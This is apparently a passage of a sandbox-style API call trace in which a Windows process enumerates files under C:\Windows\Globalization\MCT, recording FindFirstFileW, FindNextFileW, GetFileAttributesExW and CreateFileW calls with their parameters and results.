	[0086.719] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.719] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\theme"), fInfoLevelId=0x0, lpFileInformation=0x12500e18 | out: lpFileInformation=0x12500e18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.719] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\theme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.719] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Theme\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.719] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.720] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA.theme", cAlternateFileName="")) returned 1
	[0086.720] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.720] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Theme\\CA.theme" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\theme\\ca.theme"), fInfoLevelId=0x0, lpFileInformation=0x12500eb8 | out: lpFileInformation=0x12500eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x97e)) returned 1
	[0086.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper"), fInfoLevelId=0x0, lpFileInformation=0x12500f08 | out: lpFileInformation=0x12500f08*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.721] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.721] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xcdba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp1.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xc5f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp2.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x9cbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp3.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x8af5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp4.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xa111f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp5.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xad198, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA-wp6.jpg", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf59c1445, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf59c1445, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.722] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.723] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.723] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp1.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp1.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501188 | out: lpFileInformation=0x12501188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xcdba6)) returned 1
	[0086.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp2.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x125011d8 | out: lpFileInformation=0x125011d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xc5f90)) returned 1
	[0086.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp3.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp3.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501228 | out: lpFileInformation=0x12501228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x9cbe0)) returned 1
	[0086.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp4.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501278 | out: lpFileInformation=0x12501278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x8af5d)) returned 1
	[0086.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp5.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x125012c8 | out: lpFileInformation=0x125012c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xa111f)) returned 1
	[0086.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\CA-wp6.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\ca-wp6.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501318 | out: lpFileInformation=0x12501318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51b5255, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf522798d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf51b5255, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xad198)) returned 1
	[0086.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\Wallpaper\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\wallpaper\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x12501368 | out: lpFileInformation=0x12501368*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf59c1445, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf59c1445, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x51)) returned 1
	[0086.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB" (normalized: "c:\\windows\\globalization\\mct\\mct-gb"), fInfoLevelId=0x0, lpFileInformation=0x125013b8 | out: lpFileInformation=0x125013b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x541dec5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.727] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB" (normalized: "c:\\windows\\globalization\\mct\\mct-gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.727] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x541dec5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x541dec5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x59edc9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Link", cAlternateFileName="")) returned 1
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeed", cAlternateFileName="")) returned 1
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme", cAlternateFileName="")) returned 1
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallpaper", cAlternateFileName="WALLPA~1")) returned 1
	[0086.727] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.727] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link"), fInfoLevelId=0x0, lpFileInformation=0x12501548 | out: lpFileInformation=0x12501548*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x59edc9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.727] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.727] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x59edc9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x59edc9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x2b2290d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x2b2290d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-1.url", cAlternateFileName="")) returned 1
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-2.url", cAlternateFileName="")) returned 1
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-3.url", cAlternateFileName="")) returned 1
	[0086.728] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.728] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
